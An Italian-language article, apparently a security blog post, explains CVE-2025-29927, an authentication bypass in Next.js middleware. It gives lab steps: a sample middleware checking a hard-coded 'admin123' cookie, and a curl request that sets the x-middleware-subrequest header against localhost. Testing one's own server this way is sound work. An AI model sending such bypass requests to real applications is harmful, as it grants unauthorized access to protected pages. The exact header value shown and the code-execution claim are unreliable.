Il 2025 ha visto emergere una grave vulnerabilità in Next.js Middleware che consente l'aggiramento dell'autenticazione e potenzialmente l'esecuzione di codice arbitrario. Questa vulnerabilità, identificata come CVE-2025-29927, mette a rischio molte applicazioni web basate su Next.js.
Il middleware di Next.js è progettato per proteggere le rotte sensibili, come quelle destinate agli amministratori, richiedendo un token di autenticazione valido (solitamente tramite un cookie). Tuttavia, l'header x-middleware-subrequest, che in teoria dovrebbe essere utilizzato per gestire sub-richieste interne, può essere manipolato da un attaccante per evitare l'esecuzione del middleware stesso. In questo modo, il controllo sul token di autenticazione viene aggirato, permettendo all'attaccante di accedere a risorse protette senza il permesso necessario.
Questa vulnerabilità è critica, in quanto consente a un attaccante di ottenere l'accesso non autorizzato a pagine sensibili dell'applicazione, come ad esempio le aree riservate agli amministratori, semplicemente manipolando l'header HTTP x-middleware-subrequest. L'attaccante non ha bisogno di conoscere il token di autenticazione valido, ma può bypassare completamente il controllo di accesso.
Per testare la vulnerabilità, possiamo creare un server Next.js locale e sfruttare il bug con il seguente codice:
// Installazione di Next.js
npx create-next-app@latest vulnerable-nextjs
cd vulnerable-nextjs
// Creazione del middleware vulnerabile
nano middleware.js
Nel file middleware.js
, aggiungiamo:
import { NextResponse } from 'next/server';
export function middleware(request) {
const token = request.cookies.get('auth_token');
if (!token || token !== 'admin123') {
return NextResponse.redirect(new URL('/login', request.url));
}
return NextResponse.next();
}
export const config = {
matcher: ['/admin/:path*'],
};
Avviamo il server npm:
npm run dev
Ora possiamo eseguire un curl per bypassare l'autenticazione:
curl -H "x-middleware-subrequest: 1" http://localhost:3000/admin
Se l'accesso alla sezione admin viene concesso, il server è vulnerabile.
Questa vulnerabilità sottolinea l'importanza di verificare e testare le configurazioni di sicurezza nelle applicazioni Next.js. Ti consigliamo di effettuare una revisione della sicurezza del tuo codice e di applicare aggiornamenti tempestivi.